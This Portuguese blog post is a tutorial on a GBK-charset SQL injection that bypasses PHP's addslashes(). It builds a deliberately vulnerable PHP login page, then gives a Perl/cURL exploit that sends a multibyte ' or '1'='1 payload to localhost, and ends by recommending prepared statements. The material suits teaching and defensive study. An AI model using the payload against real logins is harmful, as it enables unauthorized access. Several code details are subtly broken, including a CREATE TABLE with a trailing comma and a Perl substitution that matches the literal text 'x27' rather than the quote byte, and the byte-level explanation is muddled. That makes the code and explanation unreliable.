SQL Injection e addslashes()

code-small1

Confira está matéria do grande fvox sobre SQL Injection e addslashes(), vale a pena ler!

__________
. Introdução\______________________________________

Hi.

Quando foi descoberto este ataque bobo de ‘ or ’1′=’1, muita gente recorreu a função addslashes() para a proteção, ou até mesmo a diretiva magic_quotes_gpc, cuja escapa (adiciona \ antes das aspas nos métodos GET, POST E COOKIE) automaticamente à cada requisição.
Ainda em 2006, um pesquisador chamado Chris Shiflett descobriu um bug que, conforme a configuração do MySQL, acaba “cancelando” a adição do escape na aspa.

_____________
. Vulnerabilidade\__________________________________

A falha acontece na codificação GBK, que é uma extensão da codificação GB 2312 (Guojia Biaozhun), utilizada na China.

O que acontece, basicamente, é que na codificação GBK a sequência de caracteres \xbf\x27 é interpretada como single-byte. Ou seja, ao injetar isso, a função addslashes() transformará a string em 0xbf5c27 que apesar de ser multibyte, a string 0xbf5c será interpretada como um único byte, liberando as single-quotes (\x27).

Se você for testar em localhost como eu, provavelmente você terá que trocar o default-character-set no my.cnf para GBK, que fica na sessão [client] do arquivo my.cfn, que fica no /etc/ ou /etc/mysql/. ;-)

__________
. Praticando\______________________________________

Primeiro vamos criar o banco de dados na base.

Código:
CREATE DATABASE `fvox`; --Se voce nao modificou o my.cfn, entao DEFAULT CHARACTER SET...

Criando as tabelas:

Código:
CREATE TABLE login (
    usuario VARCHAR(10) CHARACTER SET GBK,
    senha VARCHAR(15) CHARACTER SET GBK,
);

Para utilizar o exemplo do tutorial, preciso inserir na tabela algumas informações de login:

Código:

[pvp]INSERT INTO login (`usuario`, `senha`) VALUES (‘fvox’, ‘invaders’);[/php]

Simulando um sistema de login:

Código PHP:
<?php
if(!isset($_POST['user']) && !isset($_POST['passwd'])){
?>
<html>
<body>
<center>
<form action="" method="POST">
Usuario: <input name="user" type="text"><br>
Senha: <input name="passwd" type="password"><br>
<input type="submit" value="Enviar">
</form>
</center>
</body>
<?php
}
else {
mysql_connect('localhost', 'root', '');
mysql_select_db('fvox');
$r = mysql_query(sprintf('SELECT * FROM login WHERE usuario = \'%s\' AND senha = \'%s\'', addslashes($_POST['user']), addslashes($_POST['passwd'])));
if(mysql_fetch_array($r)) # ((bool) array() == FALSE)
echo 'Logado com sucesso!';
else
echo 'Usuario e/ou senha incorretos!';
mysql_close();
}
?> 

Tudo o precisamos fazer para exploitar isso, seria uma request do tipo:

POST /fvox.php?user=fvox&passwd=EXPLOIT HTTP/1.1…

O problema é que se você injetar isso na mão pelo browser, é provável que você tenha seus bugs por causa da codificação.

Ou seja, podemos fazer algo em Perl pra automatizar essa parada na base do replace mesmo. Por exemplo:

Código PHP:
#!/usr/bin/env perl

$_ = '\' or \'1\'=\'1';
s/x27/chr(0xbf).chr(0x27)/ge;
print;

Sendo assim, podemos utilizar a lib cURL e criar um exploit que automatiza tudo:

Código PHP:
#!/usr/bin/env perl

use common::sense;
use WWW::Curl::Easy;

sub cURL {
my ( $url, $header, $post ) = @_;
my $curl = WWW::Curl::Easy->new;
$curl->setopt( CURLOPT_HEADER,         $header // 0 );
$curl->setopt( CURLOPT_NOBODY,         $header // 0 );
$curl->setopt( CURLOPT_URL,            $url );
if(defined $post) {
$curl->setopt( CURLOPT_CUSTOMREQUEST, $post ? 'POST' : 'GET' );
$curl->setopt( CURLOPT_POST,          1 );
$curl->setopt( CURLOPT_POSTFIELDS,    $post );
}
my $r;
$curl->setopt( CURLOPT_WRITEDATA, $r );
return ( $curl->perform == 0 ) ? $r : 0;
}

my $xpl = '\' or \'1\'=\'1';
$xpl =~ s/x27/chr(0xbf).chr(0x27)/ge;
say cURL('http://localhost/invaders/', 1, 'user=fvox&passwd=' . $xpl);
Response:
Código:
HTTP/1.1 200 OK
...
Server: Apache/2.2.17 (Unix) ... PHP/5.3.5 ...
...
Content-Type: text/html

Logado com sucesso!

__________
. Finalizando\______________________________________

Como vimos, não podemos confiar muito na função addslashes(). É por isso que é extremamente recomendável utilizar a função mysql_real_escape_string() ou a extensão PDO (PHP Data Objects) com as funções prepare() antes de realizar uma consulta onde haja um input direto do usuário.

Enjoy ur pwnz!

[]‘s

Autor: fvox



Deixe uma resposta

O seu endereço de email não será publicado Campos obrigatórios são marcados *

*

Você pode usar estas tags e atributos de HTML: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>